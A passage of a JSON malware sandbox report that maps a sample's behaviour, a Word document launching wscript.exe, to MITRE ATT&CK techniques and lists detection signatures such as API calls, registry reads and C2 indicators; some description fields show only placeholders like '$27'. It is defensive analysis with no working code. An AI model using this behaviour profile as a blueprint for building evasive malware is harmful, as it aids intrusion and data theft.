string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Found system commands related strings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Tries to open documents files"},{"type":"informative","value":"Contains ability to copy files (API string)"},{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Uses bzip2 compression library to compress data"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"wscript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001220)\n \"wscript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001220)\n \"wscript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001220)\n \"wscript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"wscript.exe\" called \"LoadResource with parameter {'hModule': '447676417', 'hResInfo': '447677664'}\" (UID: 00000000-00001220)\n \"wscript.exe\" called \"LoadResource with parameter {'hModule': '447676417', 'hResInfo': '447677696'}\" (UID: 00000000-00001220)\n \"wscript.exe\" called \"LoadResource with parameter {'hModule': '447676417', 'hResInfo': '447677712'}\" (UID: 00000000-00001220)\n \"wscript.exe\" called \"LoadResource with parameter {'hModule': '447676417', 'hResInfo': '447677680'}\" (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"MsgWaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"MsgWaitForMultipleObjectsEx\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$27","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"$28","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"WINWORD.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVR1545.tmp\" to \"%TEMP%\\CVR1545.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"Found string \"& ( 2 9 < D ^ p t\" (Indicator: \" ^ \"; Source: \"00000000-00001568.00000000.76052.04670000.00000004.mdmp, 00000000-00001568.00000001.77974.04670000.00000004.mdmp, 00000000-00001568.00000002.79892.04670000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.719143438675985","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Cryptographic Related","name":"Uses bzip2 compression library to compress data","description":"Found CRC table used in bzip2 compression \"00000000-00001568.00000000.76052.64351000.00000020.mdmp\" at offset 5620; code bytes = b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d\n Found CRC table used in bzip2 compression \"00000000-00001568.00000001.77974.64351000.00000020.mdmp\" at offset 5620; code bytes = b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d\n Found CRC table used in bzip2 compression \"00000000-00001568.00000002.79892.64351000.00000020.mdmp\" at offset 5620; code bytes = b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d","origin":"Memory Dumps","mitre_attack_id":"T1560.002","relevance":3,"id":"memorydump-20","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"wscript.exe\" called \"IsWow64Process\" with parameter \"1220\" - (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"wscript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WINWORD.EXE\" called \"LookupAccountSidW\" (UID: 00000000-00001568)\n \"WINWORD.EXE\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001568)\n \"wscript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"wscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001220)\n \"wscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"Found string \"Msxml2.XMLHTTP.5.0\" (Indicator: \"msxml2.xmlhttp\"; Source: \"00000000-00001568.00000000.76052.005A0000.00000002.mdmp, 00000000-00001568.00000001.77974.005A0000.00000002.mdmp, 00000000-00001568.00000002.79892.005A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-469","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"wscript.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001220)\n \"wscript.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001220)\n \"wscript.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00001220)\n \"wscript.exe\" called \"LoadLibrary\" with a parameter WLDP.DLL (UID: 00000000-00001220)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2d","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"142.250.72.206:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains NTDLL native APIs","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-604","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to copy files (API string)","description":"Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-449","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"CreateFileMoniker\" (Indicator: \"CreateFile\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: 